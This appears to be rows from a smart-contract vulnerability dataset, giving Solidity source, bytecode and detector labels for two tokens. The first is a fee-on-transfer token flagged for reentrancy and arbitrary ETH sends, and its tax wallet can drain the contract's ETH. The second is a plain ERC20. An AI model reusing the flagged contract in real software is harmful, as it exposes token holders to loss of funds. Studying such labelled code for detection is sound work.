require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102a2578063a9059cbb146102c2578063dd62ed3e146102e2578063f42938901461032857600080fd5b806370a0823114610219578063715018a6146102395780638da5cb5b1461024e57806395d89b411461027657600080fd5b8063293230b8116100c6578063293230b8146101bc578063313ce567146101d35780633e07ce5b146101ef57806351bc3c851461020457600080fd5b806306fdde0314610103578063095ea7b31461014957806318160ddd1461017957806323b872dd1461019c57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600b81526a5175616e74756d2044414f60a81b60208201525b604051610140919061139c565b60405180910390f35b34801561015557600080fd5b50610169610164366004611406565b61033d565b6040519015158152602001610140565b34801561018557600080fd5b5061018e610354565b604051908152602001610140565b3480156101a857600080fd5b506101696101b7366004611432565b610375565b3480156101c857600080fd5b506101d16103de565b005b3480156101df57600080fd5b5060405160068152602001610140565b3480156101fb57600080fd5b506101d1610756565b34801561021057600080fd5b506101d161078c565b34801561022557600080fd5b5061018e610234366004611473565b6107b9565b34801561024557600080fd5b506101d16107db565b34801561025a57600080fd5b506000546040516001600160a01b039091168152602001610140565b34801561028257600080fd5b5060408051808201909152600381526214551160ea1b6020820152610133565b3480156102ae57600080fd5b506101d16102bd366004611490565b61087f565b3480156102ce57600080fd5b506101696102dd366004611406565b6108a8565b3480156102ee57600080fd5b5061018e6102fd3660046114a9565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561033457600080fd5b506101d16108b5565b600061034a33848461091f565b5060015b92915050565b60006103626006600a6115dc565b610370906305f5e1006115eb565b905090565b6000610382848484610a43565b6103d484336103cf85604051806060016040528060288152602001611750602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610cc8565b61091f565b5060019392505050565b6009546001600160a01b031633146103f557600080fd5b600c54600160a01b900460ff16156104545760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104809030906001600160a01b03166104726006600a6115dc565b6103cf906305f5e1006115eb565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f7919061160a565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610559573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057d919061160a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ee919061160a565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061061e816107b9565b6000806106336000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561069b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106c09190611627565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561072f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107539190611655565b50565b6009546001600160a01b0316331461076d57600080fd5b6107796006600a6115dc565b610787906305f5e1006115eb565b600a55565b6009546001600160a01b031633146107a357600080fd5b60006107ae306107b9565b905061075381610d02565b6001600160a01b03811660009081526002602052604081205461034e90610e7c565b6000546001600160a01b031633146108355760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161044b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461089657600080fd5b600981106108a357600080fd5b600855565b600061034a338484610a43565b6009546001600160a01b031633146108cc57600080fd5b4761075381610ef9565b600061091883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f37565b9392505050565b6001600160a01b0383166109815760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044b565b6001600160a01b0382166109e25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044b565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aa75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044b565b6001600160a01b038216610b095760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044b565b60008111610b6b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044b565b6000546001600160a01b03848116911614801590610b9757506000546001600160a01b03838116911614155b15610cb857600c546001600160a01b038481169116148015610bc75750600b546001600160a01b03838116911614155b8015610bec57506001600160a01b03821660009081526004602052604090205460ff16155b15610c4257600a548110610c425760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161044b565b6000610c4d306107b9565b600c54909150600160a81b900460ff16158015610c785750600c546001600160a01b03858116911614155b8015610c8d5750600c54600160b01b900460ff165b15610cb657610c9b81610d02565b47670de0b6b3a76400008110610cb457610cb447610ef9565b505b505b610cc3838383610f65565b505050565b60008184841115610cec5760405162461bcd60e51b815260040161044b919061139c565b506000610cf98486611677565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d4a57610d4a61168e565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc7919061160a565b81600181518110610dda57610dda61168e565b6001600160a01b039283166020918202929092010152600b54610e00913091168461091f565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e399085906000908690309042906004016116a4565b600060405180830381600087803b158015610e5357600080fd5b505af1158015610e67573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000600554821115610ee35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044b565b6000610eed610f70565b905061091883826108d6565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f33573d6000803e3d6000fd5b5050565b60008183610f585760405162461bcd60e51b815260040161044b919061139c565b506000610cf98486611715565b610cc3838383610f93565b6000806000610f7d61108a565b9092509050610f8c82826108d6565b9250505090565b600080600080600080610fa58761110c565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fd79087611169565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461100690866111ab565b6001600160a01b0389166000908152600260205260409020556110288161120a565b6110328483611254565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161107791815260200190565b60405180910390a3505050505050505050565b60055460009081908161109f6006600a6115dc565b6110ad906305f5e1006115eb565b90506110d56110be6006600a6115dc565b6110cc906305f5e1006115eb565b600554906108d6565b821015611103576005546110eb6006600a6115dc565b6110f9906305f5e1006115eb565b9350935050509091565b90939092509050565b60008060008060008060008060006111298a600754600854611278565b9250925092506000611139610f70565b9050600080600061114c8e8787876112cd565b919e509c509a509598509396509194505050505091939550919395565b600061091883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cc8565b6000806111b88385611737565b9050838110156109185760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044b565b6000611214610f70565b90506000611222838361131d565b3060009081526002602052604090205490915061123f90826111ab565b30600090815260026020526040902055505050565b6005546112619083611169565b60055560065461127190826111ab565b6006555050565b6000808080611292606461128c898961131d565b906108d6565b905060006112a5606461128c8a8961131d565b905060006112bd826112b78b86611169565b90611169565b9992985090965090945050505050565b60008080806112dc888661131d565b905060006112ea888761131d565b905060006112f8888861131d565b9050600061130a826112b78686611169565b939b939a50919850919650505050505050565b60008261132c5750600061034e565b600061133883856115eb565b9050826113458583611715565b146109185760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044b565b600060208083528351808285015260005b818110156113c9578581018301518582016040015282016113ad565b818111156113db576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461075357600080fd5b6000806040838503121561141957600080fd5b8235611424816113f1565b946020939093013593505050565b60008060006060848603121561144757600080fd5b8335611452816113f1565b92506020840135611462816113f1565b929592945050506040919091013590565b60006020828403121561148557600080fd5b8135610918816113f1565b6000602082840312156114a257600080fd5b5035919050565b600080604083850312156114bc57600080fd5b82356114c7816113f1565b915060208301356114d7816113f1565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611533578160001904821115611519576115196114e2565b8085161561152657918102915b93841c93908002906114fd565b509250929050565b60008261154a5750600161034e565b816115575750600061034e565b816001811461156d576002811461157757611593565b600191505061034e565b60ff841115611588576115886114e2565b50506001821b61034e565b5060208310610133831016604e8410600b84101617156115b6575081810a61034e565b6115c083836114f8565b80600019048211156115d4576115d46114e2565b029392505050565b600061091860ff84168361153b565b6000816000190483118215151615611605576116056114e2565b500290565b60006020828403121561161c57600080fd5b8151610918816113f1565b60008060006060848603121561163c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561166757600080fd5b8151801515811461091857600080fd5b600082821015611689576116896114e2565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116f45784516001600160a01b0316835293830193918301916001016116cf565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261173257634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561174a5761174a6114e2565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201838c78784d1950e997d312c513d8992f4c545426bb9fa8a48ed354179169e7a64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 104 |
0x6375332a122ccacca1907d00bdbdc4310b3b8454 | /**
*Submitted for verification at Etherscan.io on 2021-04-25
*/
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "WhiteH2Coin";
_symbol = "WH2C";
_mint(_msgSender(), 4460000000000000000000000);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 16;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e40565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610e25565b60405180910390f35b610104610326565b6040516101119190610f42565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610e25565b60405180910390f35b610152610431565b60405161015f9190610f5d565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610e25565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190610f42565b60405180910390f35b6101d061052e565b6040516101dd9190610e40565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610e25565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610e25565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190610f42565b60405180910390f35b606060038054610285906110a6565b80601f01602080910402602001604051908101604052809291908181526020018280546102b1906110a6565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ec2565b60405180910390fd5b61042585610414610759565b85846104209190610fea565b610761565b60019150509392505050565b60006010905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190610f94565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d906110a6565b80601f0160208091040260200160405190810160405280929190818152602001828054610569906110a6565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068390610f22565b60405180910390fd5b6106a9610697610759565b8585846106a49190610fea565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890610f02565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890610e82565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190610f42565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390610ee2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390610e62565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490610ea2565b60405180910390fd5b8181610aa99190610fea565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190610f94565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190610f42565b60405180910390a350505050565b505050565b600081359050610bbf81611370565b92915050565b600081359050610bd481611387565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250